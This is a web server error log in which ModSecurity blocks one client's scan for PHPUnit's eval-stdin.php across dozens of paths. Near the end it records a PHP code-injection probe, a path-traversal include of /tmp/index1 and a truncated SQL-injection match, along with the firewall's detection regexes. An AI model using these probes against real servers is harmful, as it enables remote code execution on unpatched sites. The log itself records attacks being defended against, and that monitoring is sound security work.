"aUJAC-Yt2u9aoGlKIQhwUQAAAdU"] [Wed Dec 17 00:30:52.004173 2025] [:error] [pid 21106:tid 21110] [client 45.93.168.13:50242] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwUgAAAcI"] [Wed Dec 17 00:30:52.087095 2025] [:error] [pid 21106:tid 21131] [client 45.93.168.13:50244] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwUwAAAdc"] [Wed Dec 17 00:30:52.179386 2025] [:error] [pid 21106:tid 21114] [client 45.93.168.13:50246] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwVAAAAcY"] [Wed Dec 17 00:30:52.253374 2025] [:error] [pid 21106:tid 21121] [client 45.93.168.13:50248] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwVQAAAc0"] [Wed Dec 17 00:30:52.330156 2025] [:error] [pid 21106:tid 21127] [client 45.93.168.13:50250] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwVgAAAdM"] [Wed Dec 17 00:30:52.406504 2025] [:error] [pid 21106:tid 21126] [client 45.93.168.13:50252] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwVwAAAdI"] [Wed Dec 17 00:30:52.482365 2025] [:error] [pid 21106:tid 21128] [client 45.93.168.13:50256] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwWAAAAdQ"] [Wed Dec 17 00:30:52.559421 2025] [:error] [pid 21106:tid 21116] [client 45.93.168.13:50258] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwWQAAAcg"] [Wed Dec 17 00:30:52.633589 2025] [:error] [pid 21106:tid 21123] [client 45.93.168.13:50264] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwWwAAAc8"] [Wed Dec 17 00:30:52.708813 2025] [:error] [pid 21106:tid 21129] [client 45.93.168.13:50266] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwXAAAAdU"] [Wed Dec 17 00:30:52.784058 2025] [:error] [pid 21106:tid 21117] [client 45.93.168.13:50270] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwXQAAAck"] [Wed Dec 17 00:30:52.866533 2025] [:error] [pid 21106:tid 21120] [client 45.93.168.13:50272] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwXgAAAcw"] [Wed Dec 17 00:30:52.939785 2025] [:error] [pid 21106:tid 21119] [client 45.93.168.13:50274] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADOYt2u9aoGlKIQhwXwAAAcs"] [Wed Dec 17 00:30:53.024233 2025] [:error] [pid 21106:tid 21125] [client 45.93.168.13:50276] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwYAAAAdE"] [Wed Dec 17 00:30:53.115157 2025] [:error] [pid 21106:tid 21124] [client 45.93.168.13:50278] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwYQAAAdA"] [Wed Dec 17 00:30:53.203004 2025] [:error] [pid 21106:tid 21130] [client 45.93.168.13:50280] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwYgAAAdY"] [Wed Dec 17 00:30:53.285413 2025] [:error] [pid 21106:tid 21116] [client 45.93.168.13:50284] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwYwAAAcg"] [Wed Dec 17 00:30:53.359435 2025] [:error] [pid 21106:tid 21112] [client 45.93.168.13:50288] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwZAAAAcQ"] [Wed Dec 17 00:30:53.440150 2025] [:error] [pid 21106:tid 21123] [client 45.93.168.13:50290] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwZQAAAc8"] [Wed Dec 17 00:30:53.519387 2025] [:error] [pid 21106:tid 21129] [client 45.93.168.13:50292] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwZgAAAdU"] [Wed Dec 17 00:30:53.601595 2025] [:error] [pid 21106:tid 21108] [client 45.93.168.13:50294] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwZwAAAcA"] [Wed Dec 17 00:30:53.678376 2025] [:error] [pid 21106:tid 21117] [client 45.93.168.13:50296] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwaAAAAck"] [Wed Dec 17 00:30:53.757397 2025] [:error] [pid 21106:tid 21120] [client 45.93.168.13:50298] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwaQAAAcw"] [Wed Dec 17 00:30:53.834094 2025] [:error] [pid 21106:tid 21119] [client 45.93.168.13:50300] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwagAAAcs"] [Wed Dec 17 00:30:53.923318 2025] [:error] [pid 21106:tid 21127] [client 45.93.168.13:50304] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADeYt2u9aoGlKIQhwbAAAAdM"] [Wed Dec 17 00:30:54.009187 2025] [:error] [pid 21106:tid 21126] [client 45.93.168.13:50306] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADuYt2u9aoGlKIQhwbQAAAdI"] [Wed Dec 17 00:30:54.081577 2025] [:error] [pid 21106:tid 21128] [client 45.93.168.13:50310] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADuYt2u9aoGlKIQhwbgAAAdQ"] [Wed Dec 17 00:30:54.157703 2025] [:error] [pid 21106:tid 21111] [client 45.93.168.13:50312] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADuYt2u9aoGlKIQhwbwAAAcM"] [Wed Dec 17 00:30:54.232489 2025] [:error] [pid 21106:tid 21115] [client 45.93.168.13:50314] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADuYt2u9aoGlKIQhwcAAAAcc"] [Wed Dec 17 00:30:54.305542 2025] [:error] [pid 21106:tid 21109] [client 45.93.168.13:50316] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADuYt2u9aoGlKIQhwcQAAAcE"] [Wed Dec 17 00:30:54.379573 2025] [:error] [pid 21106:tid 21118] [client 45.93.168.13:50318] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADuYt2u9aoGlKIQhwcgAAAco"] [Wed Dec 17 00:30:54.451725 2025] [:error] [pid 21043:tid 21082] [client 45.93.168.13:50320] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADs-Oe5Q1TbF2LSSsIgAAAUk"] [Wed Dec 17 00:30:54.523950 2025] [:error] [pid 20969:tid 20995] [client 45.93.168.13:50322] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 1). Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "280"] [id "960011"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "198.199.72.26"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aUJADq5h-_IFSHk1rMnv9wAAAFU"] [Wed Dec 17 00:30:54.598179 2025] [:error] [pid 21043:tid 21095] [client 45.93.168.13:50324] File does not exist: /usr/local/apache/htdocs/index.php [Wed Dec 17 00:30:54.746387 2025] [:error] [pid 20969:tid 20997] [client 45.93.168.13:50328] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\?(?!xml)" at ARGS_NAMES:/<?echo(md5("hi"));?> /tmp/index1.php. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "230"] [id "959151"] [rev "2"] [msg "PHP Injection Attack"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.2"] [tag "WASCTC/WASC-25"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE4"] [tag "PCI/6.5.2"] [hostname "198.199.72.26"] [uri "/index.php"] [unique_id "aUJADq5h-_IFSHk1rMnv-AAAAFc"] [Wed Dec 17 00:30:54.819987 2025] [:error] [pid 21106:tid 21110] [client 45.93.168.13:50330] [client 45.93.168.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at REQUEST_URI. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_42_tight_security.conf"] [line "20"] [id "950103"] [rev "2"] [msg "Path Traversal Attack"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "198.199.72.26"] [uri "/index.php"] [unique_id "aUJADuYt2u9aoGlKIQhwdAAAAcI"] [Wed Dec 17 00:44:47.754404 2025] [:error] [pid 21106:tid 21122] [client 3.106.202.75:52776] [client 3.106.202.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: 